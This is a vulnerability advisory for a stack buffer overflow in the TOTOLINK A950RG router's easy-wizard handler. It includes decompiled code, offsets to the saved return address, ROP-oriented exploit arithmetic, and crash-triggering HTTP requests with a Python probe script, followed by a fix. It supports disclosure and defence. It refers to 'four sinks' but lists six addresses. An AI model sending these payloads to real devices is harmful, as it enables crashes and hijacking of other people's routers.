TOTOLINK A950RG — Stack Buffer Overflow in setting/setAppEasyWizardConfig (dest[12] via rootSsid / apcliSsid)
| Field | Value |
|---|---|
| Vendor | TOTOLINK |
| Product | A950RG (AC1200 Dual-Band Gigabit Router, C8188R / IP04308 platform) |
| Affected Version | Firmware V4.1.2cu.5268_B20221104 |
| Firmware File | TOTOLINK_A950RG_V4.1.2cu.5268_B20221104.web |
| Vulnerability Type | Stack-based Buffer Overflow (CWE-121) |
| Component | lib/cste_modules/app.so — setAppEasyWizardConfig @ 0x3800 |
| Vulnerable Parameter(s) | rootSsid, apcliSsid (selected by functionType) |
| Attack Vector | Network (LAN / management interface) |
| Severity | High |
| CVSS v3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — post-authentication, but pre-authentication when combined with A950RG-INFO-01; the target is non-PIE and has no stack protection |
| Submitter | LiuYijun@State Grid Jiangxi Electric Power Co., Ltd. Information and Communication Branch |
The easy-setup wizard handler of the TOTOLINK A950RG builds the SSID that the device will advertise into a twelve-byte stack buffer. The handler is entered by posting to setting/setAppEasyWizardConfig with a functionType value that selects the repeater branch, after which the wireless parameters are read with the generic getter websGetVar. That getter performs no length check and no character filtering — it returns a pointer directly into the parsed JSON body, whose size is bounded only by the 30 KB request limit — so rootSsid and apcliSsid may be several thousand bytes long. The handler then formats or copies those values into dest, a twelve-byte local, in four separate places: sprintf(dest, "%s_5G", rootSsid), strcpy(dest, apcliSsid), sprintf(dest, "%s_5G", apcliSsid) and sprintf(dest, "%s_2.4G", apcliSsid). The code contains a length test that is intended to keep the value short, but the branch it selects for long values is the copy itself, so the check does not prevent the overflow; in the shorter branch the sprintf appends a three- or five-character suffix to the attacker's value and overflows all the same. The frame of this handler is 240 bytes and the saved return address is stored at [sp+0xEC], while dest begins at [sp+0x50], so a value of 157 bytes or more replaces the saved return address; everything between dest and $ra is other local state, which the same write also destroys. The binary is non-PIE, it is compiled without a stack canary and the firmware does not enable ASLR, so a payload that lands on $ra can be directed at a fixed address. The handler is reachable by any authenticated client, and because the session token is disclosed without authentication by A950RG-INFO-01 the effective requirement is none.
- Firmware version string:
C8188R/V4.1.2cu/ SVN 5268 (etc/product.ini); architecture MIPS32 little-endian, uClibc 0.9.33, non-PIE (image base0x400000), Realtek RTL8197F, 8 MB flash / 64 MB DDR2. - Route:
setting/setAppEasyWizardConfig, sent as thetopicurlmember of the JSON body ofPOST /cgi-bin/cstecgi.cgi. - Handler:
setAppEasyWizardConfig@ 0x3800 inlib/cste_modules/app.so. - Parameter reads:
Var = websGetVar(a2, "functionType", "0")@ 0x38DC selects the branch;dest_1 = websGetVar(a2, "apcliSsid", "")@ 0x4148 andv69 = websGetVar(a2, "rootSsid", "")@ 0x4298 supply the two values. - Destination:
char dest[12]at[sp+0x50]; the next local,v43, begins at[sp+0x5C], so the effective capacity is 12 bytes. - Sinks:
strcpy(dest, "Extender")@ 0x45A4;sprintf(dest, "%s_5G", v69)@ 0x4634;strcpy(dest, dest_1)@ 0x48D0 andsprintf(dest, "%s_5G", dest_1)@ 0x48B8;strcpy(dest, dest_1)@ 0x4834 andsprintf(dest, "%s_2.4G", dest_1)@ 0x481C. None of the four is length-bounded. - The length test that guards the 0x1D case does not bound the copy: the branch taken for values of 29 bytes or more is itself
strcpy(dest, dest_1). - Frame (measured from the disassembly): total size
0xF0; saved$raat[sp+0xEC]. Offset fromdestto$ra=0xEC - 0x50=0x9C= 156 bytes, so a value of 157 bytes overwrites$racompletely. - Buffer between
destand$ra:v43,v44,v45,v46,v47,v48,v49,v50,n2_1,v52,v53,n6,n2,n3,v57,n3_1and several saved pointers, all of which the overflow corrupts. - Request allowance:
lighttpd.confserver.max-request-size = 30720; the parameter may be up to roughly 30 KB, which is 190 times the distance to$ra. - Mitigations absent: no stack canary, no PIE, no ASLR.
- Authentication: the route is not on the whitelist at 0x4026A8, so a session token is required; that token is disclosed without authentication by A950RG-INFO-01, which reduces the effective requirement to none while an administrator is logged in.
- Note on the emulation: the handler is implemented in
app.soand is therefore invoked bybin/cste_sub, which in the chroot environment does notdlopenany module; the HTTP route therefore returns{"error":"Unknow Topic"}instead of reaching the copy. The frame layout and the unbounded copy were established from the decompilation and from the disassembled prologue, and the method was validated against A950RG-OVF-01, which was reproduced dynamically at the predicted offset.
/* lib/cste_modules/app.so — setAppEasyWizardConfig @0x3800 */
int __fastcall setAppEasyWizardConfig(int a1, int a2, int a3)
{
char dest[12]; /* [sp+0x50] target, only 12 bytes */
int v43; /* [sp+0x5C] first local overwritten by the copy */
/* frame size 0xF0 ; saved $ra at [sp+0xEC] (156 bytes from dest) */
Var = websGetVar(a2, "functionType", "0"); /* 0x38DC branch select */
dest_1 = websGetVar(a2, "apcliSsid", ""); /* 0x4148 NO LENGTH */
v69 = websGetVar(a2, "rootSsid", ""); /* 0x4298 NO LENGTH */
...
strcpy(dest, "Extender"); /* 0x45A4 */
...
sprintf(dest, "%s_5G", v69); /* 0x4634 rootSsid */
...
if ( /* length >= 0x1D */ )
strcpy(dest, dest_1); /* 0x48D0 apcliSsid */
else
sprintf(dest, "%s_5G", dest_1); /* 0x48B8 still overflow*/
...
if ( /* the 2.4 GHz branch */ )
strcpy(dest, dest_1); /* 0x4834 */
else
sprintf(dest, "%s_2.4G", dest_1); /* 0x481C */
}
/* Exploit arithmetic (non-PIE, no canary, ASLR disabled):
rootSsid[0 .. 155] filler 'A' -> fills dest and the frame
rootSsid[156 .. 159] controlled word -> overwrites saved $ra
rootSsid[160 .. ] further controlled data -> ROP chain
*/Standard HTTP request:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: text/plain
Content-Length: 321
Connection: close
{"topicurl":"setting/setAppEasyWizardConfig","functionType":"1","rootSsid":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","token":"0123456789abcdef0123456789abcdef"}The body is transmitted in full and the Content-Length value above is its exact byte length.
The same request with the other two SSID parameters:
Standard HTTP request:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: text/plain
Content-Length: 322
Connection: close
{"topicurl":"setting/setAppEasyWizardConfig","functionType":"1","apcliSsid":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","token":"0123456789abcdef0123456789abcdef"}The body is transmitted in full and the Content-Length value above is its exact byte length.
Boundary probe by bisection: values below 157 bytes leave $ra intact, values of 157 bytes and above replace it with 0x41414141, and the CGI process terminates with SIGSEGV when the frame is restored. A non-destructive check confirms the crash without attempting to control the program counter:
python3 - <<'PY'
import json, urllib.request
for n in (150, 156, 157, 200, 1000):
body = json.dumps({'topicurl':'setting/setAppEasyWizardConfig',
'functionType':'1',
'rootSsid':'A'*n,
'token':'<TOKEN>'}).encode()
r = urllib.request.Request('http://192.168.0.1/cgi-bin/cstecgi.cgi',
data=body, headers={'Content-Type':'text/plain'})
try:
print(n, urllib.request.urlopen(r, timeout=5).status)
except Exception as e:
print(n, 'dropped ->', e)
PYA full weaponised version, not reproduced here, replaces the filler with a control word and a return-oriented chain built from the fixed address space; the 30 KB parameter allowance leaves roughly 29.8 KB of controlled data past $ra.
The SSID must be validated before it is copied, not after. A legitimate SSID is at most 32 bytes, so the parameters should be rejected at the parameter layer unless they match ^.{0,32}$, and every one of the four sinks in this handler — 0x45A4, 0x4634, 0x48B8, 0x48D0, 0x481C and 0x4834 — should use snprintf(dest, sizeof(dest), ...) with a destination that is large enough for the SSID plus the longest suffix the code appends. The twelve-byte destination is itself too small for a 32-byte SSID even when the input is valid, so the buffer should be enlarged rather than merely bounded. The length test that currently selects between strcpy and sprintf must be replaced by a real bounds check, because both branches overflow. The firmware should additionally be rebuilt with -fstack-protector-strong and as a PIE binary with ASLR enabled so that a future mistake of this kind does not yield immediate control-flow hijacking.